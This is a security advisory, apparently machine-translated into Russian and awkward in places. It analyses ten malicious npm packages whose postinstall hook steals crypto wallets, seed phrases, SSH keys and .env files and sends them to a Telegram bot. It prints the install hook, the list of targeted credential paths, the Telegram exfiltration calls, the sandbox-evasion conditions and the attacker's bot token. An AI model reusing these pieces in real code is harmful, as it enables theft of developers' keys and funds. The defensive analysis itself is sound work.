TL, д-р
9 июня 2026 года был создан единственный аккаунт издателя npm. aicrypto-xzggg, отправленный десять пакетов с названиями, отсылающими к криптографии и Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9и еще шесть.
Каждый пакет перевозит один и тот же полезный груз. postinstall хук. При установке он проверяет, работает ли он внутри CI или в песочнице — если нет, то считывает хранилища ключей кошельков, файлы сид-фраз, SSH-ключи и .env собирает файлы из шести блокчейн-экосистем и передает их Telegram-боту.
Единственный признак, который защитник может немедленно отследить, — это идентификатор бота в Telegram. 8227918239.
Уровень опасности: критической — прямая кража ключей подписи и фраз восстановления из рабочие станции разработчиков.
Атака: как она работает
Эти пакеты позиционируют себя как утилиты для разработчиков блокчейна. пакет.json Он минималистичен и направляет цикл установки на скрипт:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }scripts/postinstall.js Это однолинейная прокладка, которая загружает реальную полезную нагрузку: require(“../src/index.js”), Потому как послеустановка запускается автоматически во время Установка npmПри этом разработчику не требуется импортировать код — для его выполнения достаточно поместить пакет в дерево зависимостей.
Цепочка уничтожения внутри SRC / index.js Это четыре шага:
- Экологическая проверка. Функция-защитник определяет, будет ли хост выглядеть как агент сборки или как песочница анализа.
- Задерживать. Выполнение откладывается за setTimeout примерно 7.4 секунды.
- Коллекция. Просматривается фиксированный список путей к файлам кошелька, ключа и секрета; существующие файлы добавляются в очередь.
- Эксфильтрация. Файлы, находящиеся в очереди, отправляются в Telegram-боту, перед отправкой им отправляется краткое сообщение.
Список целевых объектов сбора данных охватывает шесть блокчейнов, а также общие секреты разработчиков. (Сокращено:)
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localВсего двадцать один путь. Записи в каталоге, такие как: ~/.ethereum/keystore файлы разворачиваются, и каждый файл внутри ставится в очередь. Эксфильтрация осуществляется напрямую с использованием API бота Telegram — SendMessage вызов с кратким описанием хоста и файла, затем отправитьдокумент Многопоточная загрузка для каждого файла:
текст
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)Сводное сообщение, которое формирует код, начинается со строкового литерала. КРАДИЛЬЩИК КРИПТОВАЛЮТЫЗатем следуют имя хоста, имя пользователя, имя исходного пакета, количество файлов и метка времени.
Что здесь нового
Отличительной особенностью является не механизм кражи — инструмент для извлечения данных через Telegram от npm. послеустановка hooks Это хорошо известно. Это Контрольная точка. Прежде чем что-либо сделать, полезная нагрузка вызывает функцию, которая возвращает true, когда хост напоминает среду выполнения CI или песочницу, и завершает работу раньше, когда это происходит:
текст
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Важнейшее условие — регулярное выражение для идентификатора контейнера: имя хоста из 12 шестнадцатеричных символов — это стандартная структура, которую Docker присваивает контейнеру. контейнерТаким образом, полезная нагрузка рассматривает фразу «имя моего хоста похоже на контейнер Docker» как причину для перехода в спящий режим. В сочетании с семисекундной задержкой, такая конструкция способствует запуску на реальной рабочей станции разработчика и обеспечивает скрытность в любом месте, где может происходить автоматический анализ. Именно этот механизм подавлял сигналы динамического анализа и сохранял статический поток утечки данных в качестве основного доказательства вины.
Лента
| Дата (UTC) | События |
|---|---|
| 2026-06-09 ~02:48 | Первые пакеты в кластере отмечены как опубликованные (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Отмечены участники более высоких версий (ethereum-kit-9 в 1.25.36, wallet-sdk-9 в 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Отмечены последние участники (defi-tools-39 в 4.26.29, swap-sdk-87 в 4.63.78, farming-tools-12 в 4.68.54) |
| 2026-06-09 | Все десять признаны вредоносными и внесены в реестр для удаления. |
Все десять сообщений появились примерно за семьдесят минут, что соответствует единому запланированному циклу публикации с одного аккаунта.
Показатели компромисса
Сетевые и поведенческие индикаторы (хозяин обезврежен):
| Индикаторные | Значение |
|---|---|
| Конечная точка эксфи | api[.]telegram[.]org (API Telegram-бота) |
| ID Telegram-бота | 8227918239 |
| токен бота | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID чата в Telegram | 6433587894 |
| Установить крючок | postinstall → scripts/postinstall.js → src/index.js |
| Строка маркера | CRYPTO STEALER в собранном сводном сообщении |
| Издатель | aicrypto-xzggg (указанный адрес электронной почты) vipsyria88@gmail[.]com(непроверено) |
Пакеты и версии, каждая с хешем SHA-256. SRC / index.js полезная нагрузка (полезные нагрузки функционально идентичны и отличаются только встроенной меткой имени пакета, поэтому каждый хеш уникален):
| Упаковка | Версия | SHA-256 файла src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Простой поисковый запрос: выполните поиск в журналах установки и файлах блокировки по любому из десяти имен, а также выполните поиск в исходящем трафике подключений к API Telegram-бота с хостов сборки или разработки, которые его не используют.
Атрибуция и наблюдаемое поведение
Все десять пакетов были опубликованы с одного аккаунта. aicrypto-xzggg, чей указанный адрес электронной почты vipsyria88@gmail[.]comИ адрес электронной почты, и ссылка на систему контроля версий не подтверждены в метаданных реестра, и учетная запись имеет крайне отрицательный рейтинг репутации. Мы не подтвердили, кто управляет этой учетной записью.
Два момента заслуживают отдельного внимания при определении личности. Во-первых, пакет.json автор чтение полей Алекс Смит на каждой упаковке, в то время как фактический издательский счет указан aicrypto-xzgggПоле «автор» представляет собой самодекларируемые метаданные и не устанавливает авторство. Во-вторых, номера версий сильно различаются — некоторые участники занимают должности с номерами версий более 100. 1.0.0, другие в 4.68.54 — что соответствует повторному использованию одной и той же полезной нагрузки в новых именах пакетов, а не сохранению реальной истории релизов.
Поведение в кластере одинаково: один и тот же список целевых путей, один и тот же идентификатор бота Telegram и идентификатор чата, один и тот же шлюз среды, один и тот же КРАДИЛЬЩИК КРИПТОВАЛЮТЫ маркер. Эта однородность — самая сильная связь между пакетами. Это сигнал от одного и того же оператора, а не идентификатор.
Влияние, тенденции и рекомендации для защитников
Уязвимость очевидна. Разработчик, установивший любой из этих пакетов на рабочую станцию, на которой находится программный кошелек, файл с сид-фразой или SSH-ключ, получает доступ к этим файлам, которые считываются и передаются с хоста в течение нескольких секунд. Фразы восстановления и ключи подписи не истекают, как токены сессии; как только... mnemonic.txt или Солана id.json Если автомат покидает устройство, то контролируемые им средства находятся под угрозой до тех пор, пока их не переместят. В ходе того же процесса также происходит захват средств. .env файлы, которые обычно содержат ключи API и учетные данные базы данных.
За этой группой проблем стоят две тенденции. Первая — это продолжающееся использование названий, связанных с криптовалютами и Web3, для привлечения определенной аудитории — разработчиков, которые хранят кошельки и ключи на той же машине, на которой устанавливают зависимости. Вторая — это совершенствование методов обхода песочницы в полезных нагрузках, устанавливаемых во время выполнения. Проверка переменных среды CI, имен пользователей исполнителей и имени хоста контейнера Docker — это преднамеренная попытка вести себя иначе при анализе, чем на реальной рабочей станции, и это повышает планку для чисто динамического обнаружения.
Для защитников:
Установка выполняется без отключения скриптов по умолчанию. npm install –ignore-scripts, или установить ignore-scripts=true in .npmrc, мешает послеустановка Выполнение; включать скрипты только для тех зависимостей, которые действительно в них нуждаются.
Храните электронные кошельки и ключи подписи вне сборочных и тестовых машин. Используйте аппаратный кошелек или выделенный хост для подписи, не зависящий от каких-либо зависимостей.
Рассматривать .envХранилища ключей и файлы сид-фраз считаются «жемчужинами короны». Они никогда не должны находиться в каталоге, который также является каталогом... Установка npm рабочее дерево.
Найдите исходящие соединения с API Telegram-бота из CI и среды разработки. В большинстве сред сборки он никогда не используется; если же соединение внезапно появляется сразу после установки, стоит провести расследование.
Закрепите и проверьте зависимости. Совершенно новый пакет с универсальным криптографическим именем, послеустановка хук, и ни одна ссылка на репозиторий не требует проверки перед тем, как попасть в файл блокировки.
Пункт об обходе идентификатора контейнера также служит напоминанием для аналитиков: полезная нагрузка, устанавливаемая во время выполнения и остающаяся в спящем режиме в песочнице, не является безобидной, она носит избирательный характер. Статический анализ пути установки остается надежным способом определить, что может не отобразиться при динамическом выполнении.
Референсы
Документация по команде npm install — скрипты жизненного цикла и –Ignore-scripts— Инструкция по отключению автоматической установки hooks.






